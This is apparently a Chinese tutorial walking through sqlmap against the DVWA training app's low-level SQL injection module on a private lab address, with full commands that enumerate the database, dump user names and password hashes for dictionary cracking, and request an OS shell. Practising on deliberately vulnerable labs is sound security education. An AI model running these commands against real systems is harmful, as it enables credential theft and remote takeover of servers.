這里僅僅使用 SQL Injection 模塊的low等級進行演示說明sqlmap注入的基本過程和步驟,高級用法可以參考官方手冊繼續(xù)挖掘。
輸入框輸入數(shù)字1,之后得到提交參數(shù)后存在注入的URL路徑:
http://192.168.66.92/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
使用firebug獲取登陸后的cookie值,
security=low; security_level=0; PHPSESSID=g3l2gi8djomhlrlf14ha9eku2n
之后對下面的URL和cookie進行替換為上面的到的值。
第一步:
對需要登陸才可以訪問的路徑需要帶上cookie對URL進行注入判斷
sqlmap -u "http://192.168.66.92/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; security_level=0; PHPSESSID=g3l2gi8djomhlrlf14ha9eku2n"
![](/upload/attach/201803/201803151539_KRXSY2VPSJEY85C.jpg)
存在注入且得到數(shù)據(jù)庫版本和操作系統(tǒng)信息
第二步:
–-current-db 獲取數(shù)據(jù)庫名稱
sqlmap -u "http://192.168.66.92/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; security_level=0; PHPSESSID=g3l2gi8djomhlrlf14ha9eku2n" --current-db
![](/upload/attach/201803/201803151539_FCH9NPHBHZNMXHS.jpg)
得到數(shù)據(jù)庫名為DVWA
第三步:
DVWA是上一步獲取的數(shù)據(jù)庫名稱,--tables是對數(shù)據(jù)庫表名進行枚舉
sqlmap -u "http://192.168.66.92/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; security_level=0; PHPSESSID=g3l2gi8djomhlrlf14ha9eku2n" -D dvwa --tables
![](/upload/attach/201803/201803151539_R9ZF9MPTXFT8ZBH.jpg)
第四步:
獲取到上一步的到的users表名后,在用--columns對表中的列進行枚舉
sqlmap -u "http://192.168.66.92/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; security_level=0; PHPSESSID=g3l2gi8djomhlrlf14ha9eku2n" -D dvwa -T users --columns
![](/upload/attach/201803/201803151539_UD5KS83M7BTQYQ3.jpg)
第五步:
獲取user表中的name和password字段
sqlmap -u "http://192.168.66.92/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; security_level=0; PHPSESSID=g3l2gi8djomhlrlf14ha9eku2n" -D dvwa -T users -C user,password --dump
如果此時得到的密碼為密文,SQLmap會自動詢問,是否爆破,選擇“是”即可開始使用SQLMAP自帶的字典進行爆破。
第六步:
獲取shell,選擇后臺語言:
sqlmap -u "http://192.168.66.92/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; security_level=0; PHPSESSID=g3l2gi8djomhlrlf14ha9eku2n" --os-shell